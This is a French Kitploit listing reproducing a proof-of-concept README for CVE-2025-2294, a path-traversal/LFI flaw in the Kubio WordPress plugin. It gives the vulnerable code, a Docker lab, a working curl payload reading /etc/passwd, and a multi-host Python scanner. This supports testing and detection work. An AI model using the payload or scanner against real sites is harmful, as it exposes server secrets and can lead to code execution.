Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-2294 — Exploit de preuve de concept pour CVE-2025-2294, une vulnérabilité LFI critique dans Kubio AI Page Builder pour WordPress. Comprend un scanner Python, un modèle nuclei, et un laboratoire Docker pour les tests. | Kitploit
Outils/GitHubGitHub/iteride/cve-2025-2294
Scanners de Vulnérabilités WebAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHubiteride/cve-2025-2294

CVE-2025-2294

Exploit de preuve de concept pour CVE-2025-2294, une vulnérabilité LFI critique dans Kubio AI Page Builder pour WordPress. Comprend un scanner Python, un modèle nuclei, et un laboratoire Docker pour les tests.

Voir le dépôt
il y a 10 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-2294

Introduction

CVE-2025-2294 est une vulnérabilité critique de type Local File Inclusion (LFI) dans le plugin Kubio AI Page Builder pour WordPress. Cette vulnérabilité permet à un attaquant distant non authentifié de transmettre un paramètre spécialement conçu, ce qui amène le plugin à inclure un fichier arbitraire sur le serveur ; en présence d'un fichier PHP inclus, cela peut entraîner une exécution de code à distance (RCE).

  • Versions affectées : toutes les versions du plugin ≤ 2.5.1.
  • CVSS v3.1 : 9.8 (Critique).

Objectif du rapport

  1. Systématiser les documents disponibles et expliquer l'essence de la vulnérabilité.
  2. Examiner les conditions et configurations dans lesquelles la vulnérabilité est pertinente.
  3. Montrer les méthodes de détection et les recommandations de protection (sans PoC étape par étape).
  4. Donner des recommandations pour la correction et l'atténuation des conséquences.

CPE / Identification

  • Plugin slug : kubio
  • Chemin : /wp-content/plugins/kubio/
  • Vendor : ExtendThemes / Kubio
  • CPE (exemple) : cpe:2.3:a:extendthemes:kubio_ai_page_builder::::::wordpress::*

CWE : CWE-22 — Limitation incorrecte d'un chemin d'accès à un répertoire restreint (Path Traversal).


Conditions d'exploitation

  • Le plugin Kubio est installé et activé sur le site.
  • Version ≤ 2.5.1 (non patchée).
  • Un point de terminaison HTTP(S) public est disponible, acceptant le paramètre __kubio-site-edit-iframe-classic-template.
  • (Pour obtenir une RCE) Un fichier PHP inclus ou un autre chemin vers du code exécutable doit exister dans le système (par exemple, via des vulnérabilités dans d'autres composants ou des permissions incorrectes).

Impact

  • Lecture de fichiers contenant des secrets (par exemple, wp-config.php, clés privées, journaux).
  • Possibilité de chargement/exécution de code arbitraire, modification de contenu ou injection de backdoors.
  • Compromission du serveur, perturbations possibles du site, suppression/chiffrement des données.
  • L'ampleur du risque augmente en raison de la large distribution du plugin et de l'apparition de PoC/scaners publics.

Détails techniques

Le code vulnérable est lié à la fonction kubio_hybrid_theme_load_template(), qui accède au tableau global $_REQUEST :

root@kitploit:~
$template_id = Arr::get($_REQUEST, '__kubio-site-edit-iframe-classic-template', false);
if ($template_id) {
    $new_template = locate_template([$template_id]);
    if ($new_template !== '') {
        return $new_template;
    }
}
  • Ce que fait le code :
  1. Arr::get($_REQUEST, '__kubio-site-edit-iframe-classic-template', false) — récupère la valeur directement depuis l'ensemble global des données d'entrée ($_REQUEST combine $_GET, $_POST, $_COOKIE). Cela signifie que le paramètre est contrôlé à distance.

  2. Si le paramètre est présent ($template_id est vrai), le code appelle locate_template([$template_id]).

  3. locate_template() — une utilitaire WordPress (ou un équivalent dans le plugin) pour rechercher des modèles selon le chemin/nom relatif passé. Dans un scénario normal, on s'attendait à ce que des noms de fichiers dans un répertoire de modèles sécurisé soient passés, par exemple header.php ou template-parts/content.php.

  4. La valeur de retour ($new_template) est ensuite utilisée — dans l'implémentation d'origine, cela peut conduire à un include/require du chemin trouvé, ou à passer ce chemin plus loin pour l'affichage. Cela crée une possibilité de LFI : l'attaquant peut spécifier un chemin vers un fichier arbitraire.


Exécution locale

root@kitploit:~
git clone https://github.com/iteride/CVE-2025-2294.git && cd CVE-2025-2294/ && docker-compose up -d
  • Accéder au Docker :
root@kitploit:~
docker exec -it <WORDPRESS_DOCKER_ID> bash
  • Télécharger et lancer kubio

Pour lancer après décompression, allez sur http://localhost:8080/wp-admin/plugins.php et activez le plugin

root@kitploit:~
cd /var/www/html/wp-content/plugins
curl -L -o kubio-2.5.1.zip "https://downloads.wordpress.org/plugin/kubio.2.5.1.zip"
unzip kubio-2.5.1.zip
rm kubio-2.5.1.zip
chown -R www-data:www-data kubio

POC/Exploit

root@kitploit:~
curl 'http://localhost:8080/?__kubio-site-edit-iframe-preview=1&__kubio-site-edit-iframe-classic-template=../../../../../../../../../etc/passwd'

lfi

__kubio-site-edit-iframe-classic-template=<path>

Ce paramètre transmet une chaîne que le plugin utilise comme identifiant/chemin de modèle.

Dans le fragment de code vulnérable, la valeur est extraite de $_REQUEST et transmise à locate_template() sans normalisation ni restriction préalable. En conséquence, un path traversal est possible : si l'on insère des séquences ../ dans la valeur, le chemin résultant peut sortir du répertoire de modèles attendu et pointer vers n'importe quel fichier du système de fichiers (y compris /etc/passwd).

C'est précisément ce paramètre qui porte la charge utile de l'attaque — l'attaquant y spécifie le fichier cible.

__kubio-site-edit-iframe-preview=1

C'est un indicateur de service (mode aperçu / iframe-edit mode). Il bascule le traitement de la requête vers la branche de code où le modèle spécifié dans __kubio-site-edit-iframe-classic-template est lu et utilisé.

Sans preview=1, le plugin pourrait ne pas traiter le paramètre classic-template ou utiliser une autre logique ; avec preview=1, la logique qui permet la lecture et le retour du modèle est activée, rendant l'exploitation possible.


Modèle Nuclei

1. Modèle passif

  • Vérifie la version du plugin via le fichier /wp-content/plugins/kubio/readme.txt.

passive

2. Modèle actif

  • Vérifie la sortie de /etc/passwd

active


Script

Le script vérifie la sortie de /etc/passwd mais beaucoup plus rapidement que nuclei grâce au multithreading, et il supporte également le scan de plusieurs hôtes à la fois.

root@kitploit:~
python3 scan.py --target http://localhost:8080

scan

Télécharger l’outil